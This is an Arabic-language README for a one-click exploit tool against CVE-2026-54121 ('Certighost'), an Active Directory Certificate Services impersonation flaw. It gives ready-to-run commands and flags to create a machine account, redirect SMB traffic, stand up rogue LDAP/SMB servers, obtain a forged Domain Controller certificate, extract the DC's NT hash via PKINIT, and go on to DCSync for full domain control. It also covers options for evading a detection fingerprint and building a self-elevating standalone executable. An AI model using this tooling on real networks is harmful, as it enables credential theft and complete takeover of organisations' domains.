
استغلال بنقرة واحدة لثغرة CVE-2026-54121 (Certighost) تستهدف انتحال هوية شهادات AD CS. تعمل على أتمتة إنشاء حساب الآلة، إعادة توجيه الحركة، CA مزيفة، PKINIT، واستخراج تجزئة NT لاختراق النطاق.
أداة استغلال بنقرة واحدة لـ CVE-2026-54121 (Certighost) — مخصصة فقط للبيئات المحلية/الاختبارات المصرح بها.
نسخة Windows أصلية معدّلة بناءً على PoC العلوي (تحليل @h0j3n / تنفيذ @aniqfakhrul): تتضمن مُوجّه WinDivert مدمجًا ذاتي التطوير (pydivert)، أمر واحد يُكمل "إنشاء الحساب ← إعادة التوجيه ← استماع rogue ← مطاردة CA ← شهادة هوية Domain Controller ← PKINIT ← NT hash لحساب آلة الـ DC"، دون إيقاف خدمة Server، ودون تعديل أي إعدادات على المضيف، ويُستعاد كل شيء تلقائيًا عند الخروج.
| التصحيح | الوصف |
|---|
--redirect | مُوجّه WinDivert مدمج (445 ← --lsa-port، تصفية ضيقة النطاق: اعتراض حركة المرور الخاصة بعنوان الـ listener فقط)، يعمل مع بدء العملية ويتوقف معها، ويستعيد 445 تلقائيًا عند الخروج. بديل عن PortBender الرسمي (منتجه الرسمي DLL انعكاسي 32-بت خاص بـ CS ولا يمكن تشغيله بشكل مستقل) |
--lsa-port | معلمة منفذ استماع LSA/SMB الوهمي (الافتراضي 445؛ مع --redirect الافتراضي 8445) |
حارس os.geteuid | فحص root العلوي ينهار على Windows ← حارس hasattr + رسالة منفذ خاصة بـ Windows |
| معلمة فحص الجاهزية | العلوي يرمّز port_ok(127.0.0.1, 445) ← args.lsa_port |
| ترويسة PEP 723 | تشغيل مباشر عبر uv run certighost.py ... مع حل تلقائي للاعتماديات (يشمل impacket من git-master)، بدون تلويث البيئة |
--new-computer-name | اسم مخصص لإنشاء الحساب (لتجنب بصمة كشف GHOST*) |
--new-computer-pass | كلمة مرور مخصصة لإنشاء الحساب (يجب أن تتوافق مع سياسة كلمات مرور المجال) |
polyfill لـ random.randbytes | impacket من git-master يستخدم واجهة برمجية 3.9+ أثناء استيراد smbserver؛ مطلوب لإصدار 3.8، تنفيذ عبر os.urandom |
| خروج فوري عند الانتهاء | flush + os._exit() بعد GGWP (حل جذري لتعليق دقائقي بسبب خيوط impacket غير daemon) |
| دلالات رمز الخروج | 0 نجاح / 1 فشل |
حفظ <dc>.hash.txt | كتابة NT hash لحساب آلة الـ DC في ملف (سطر واحد فقط name:lm:nt) |
① الفحص المسبق (قراءة فقط، للتأكد من CA ومتطلبات الاستغلال):
uv run check_ca.py -d bingo.com -dc-ip 192.168.16.144 -u zhaolei -p 'pass'
يعرض قائمة Enterprise CA، وإصدار قالب Machine وأذونات التسجيل (يتطلب أن يكون لدى Domain Computers صلاحية Enroll).
على جهاز CA تحقق أيضًا من علامة chase: certutil -getreg policy\EditFlags (يجب أن تتضمن
EDITF_ENABLECHASECLIENTDC؛ مثبتة افتراضيًا على Server 2016 كما تم التحقق عمليًا).
② الاستغلال بنقرة واحدة (Windows، بصلاحيات المسؤول):
uv run certighost.py -d bingo.com -u zhaolei -p '[email protected]' \
--dc-ip 192.168.16.144 --listener <IP قابل للوصول من الجهاز> --redirect \
--new-computer-name MACH$ --new-computer-pass 'Your@Pw123!'
النتائج الثلاثية (تُحفظ تلقائيًا في مجلد التشغيل):
| الملف | المحتوى |
|---|---|
<dc>.pfx | شهادة هوية Domain Controller (مادة PKINIT) |
<dc>.ccache | ذاكرة تخزين تذاكر Kerberos |
<dc>.hash.txt | NT hash لحساب آلة الـ DC (سطر واحد فقط name:lm:nt) |
③ التنظيف (حذف الحساب المُنشأ):
uv run cleanup_ghost.py -d bingo.com -dc-ip 192.168.16.144 -u administrator -p 'pass' --prefix MACH
| المعامل | الوصف |
|---|---|
-d / -u / -p / -H | المجال / مستخدم منخفض الصلاحية / كلمة المرور / NTLM hash |
--dc-ip | عنوان الـ DC (إلزامي) |
--listener IP | عنوان IP لمستمع rogue (يجب تحديده صراحةً مع وجود عدة بطاقات شبكة) |
--redirect | أساسي على Windows: إعادة توجيه WinDivert المدمجة للمنفذ 445 (يتطلب مسؤول + pydivert) |
--lsa-port N | منفذ LSA الوهمي (الافتراضي 8445 مع --redirect) |
--new-computer-name | اسم مخصص لإنشاء الحساب (يُضاف $ تلقائيًا) |
--new-computer-pass | كلمة مرور مخصصة لإنشاء الحساب (حصرية متبادلة مع مسار existing) |
--computer-name/--computer-pass/--computer-hash | بدون MAQ: إعادة استخدام حساب آلة مُسيطر عليه |
--target-san DC01$ | تحديد الهدف المراد انتحاله (اكتشاف تلقائي للـ DC افتراضيًا) |
--template | قالب الشهادة (الافتراضي Machine) |
--ca / --ca-ip | تحديد CA يدويًا |
--debug | تتبع كامل لمراحل البروتوكول |
Phase1 مستخدم منخفض الصلاحية ينشئ حساب آلة (مسار MAQ تلقائي / --new-computer-* مخصص / --computer-* إعادة استخدام موجود)
Phase2 [Windows] مُوجّه WinDivert مدمج: listener_ip:445 -> :lsa_port
تصفية ضيقة النطاق (عنوان IP فقط)، الحزم المعاد كتابتها خارج الفلتر = بدون حلقة إعادة حقن؛ المقبض يُغلق مع العملية
Phase3 خادم rogue: LDAP:389 + LSA/SMB:lsa_port (الرد على مطاردة cdc/rmd، تغذية بيانات هوية الـ DC)
Phase4 تقديم طلب شهادة بهوية الآلة (قالب Machine)، CA يعاود الاتصال بـ rogue ← إصدار شهادة هوية DC
Phase5 PKINIT ← KDC يُرجع NT hash لحساب آلة الـ DC في PAC ← استخراج وكتابة في .hash.txt
Phase6 (لاحقًا) secretsdump DCSync ← krbtgt ← سيطرة كاملة على المجال؛ cleanup_ghost لتنظيف الحساب المُنشأ
استخدام Linux دون تغيير (ربط مباشر للمنفذين 445/389 بصلاحيات root، بدون --redirect).
استخراج الهاش في سلسلة الهجوم يتم عبر PKINIT ← PAC ← NT hash، وليس DCSync:
استخدام secretsdump لعمل DCSync بعد الحصول على الهاش هو خطوة ثانية، وليس مصدر الهاش.
# PowerShell 7
./build_exe.ps1 # المستوى الافتراضي (Win10 / Server 2016+)
./build_exe.ps1 3.10 # مستوى التوافق (Win8.1 / Server 2012 R2+)
./build_exe.ps1 legacy # المستوى القديم (Win7 SP1 / Server 2008 R2 x64)
النتيجة dist\certighost_x64.exe: 19-27MB (حسب المستوى)، مع --uac-admin لرفع الصلاحيات ذاتيًا، بدون أي اعتماديات،
ويُخرج السكربت تلقائيًا مجموع SHA256.
يتطلب تثبيت CPython 3.8.10 الرسمي من python.org في المسار التالي (آخر بناء ثنائي رسمي يدعم نواة Win7، بدون الاعتماد على واجهات UCRT الجديدة):
D:\网安相关\Tools\Python\cpython-3.8.10-x64\
أمر التثبيت (صامت، بدون كتابة PATH، بدون تثبيت المشغّل):
python-3.8.10-amd64.exe /quiet InstallAllUsers=0 TargetDir=D:\网安相关\Tools\Python\cpython-3.8.10-x64 PrependPath=0 Include_launcher=0
مع تثبيت PyInstaller==5.13.2 (إصدار bootloader 6.x لا يدعم نواة Win7) و cryptography==38.0.4 (عجلات Rust تبدأ من 38.x في طلب Win10+)، وكلاهما مثبت في السكربت.
| المستوى | أجهزة حقيقية | السلسلة الكاملة | ملاحظات |
|---|---|---|---|
| الافتراضي | Win11 | ✅ | |
| التوافق 3.10 | Win11 / Win10 / Server 2012 R2 | ✅ ×3 | يشمل WinDivert على أجهزة حقيقية |
| القديم legacy | Win11 / Server 2008 R2 x64 | ✅ ×2 | 3.8.10 رسمي + PyInstaller 5.13.2 |
انتبه: PyInstaller+impacket منطقة عالية الخطورة لمضادات الفيروسات، قيّم ذلك قبل النشر.
ciphertext integrity failure: لوحظ مرة واحدة، وتُشفى بإعادة المحاولةcertighost.py الاستغلال الرئيسي (العلوي + تصحيحات Windows الأصلية + PEP 723)
certighost_redirect.py مُوجّه WinDivert 445 ذاتي التطوير (pydivert؛ اختبار ذاتي --selftest/--e2e)
check_ca.py فحص مسبق: CA/القالب/أذونات التسجيل/علامة chase (قراءة فقط)
cleanup_ghost.py إنهاء: حذف الحساب المُنشأ
build_exe.ps1 تعبئة PyInstaller بملف واحد (pwsh7، مصفوفة ثلاثة مستويات، SHA256 تلقائي)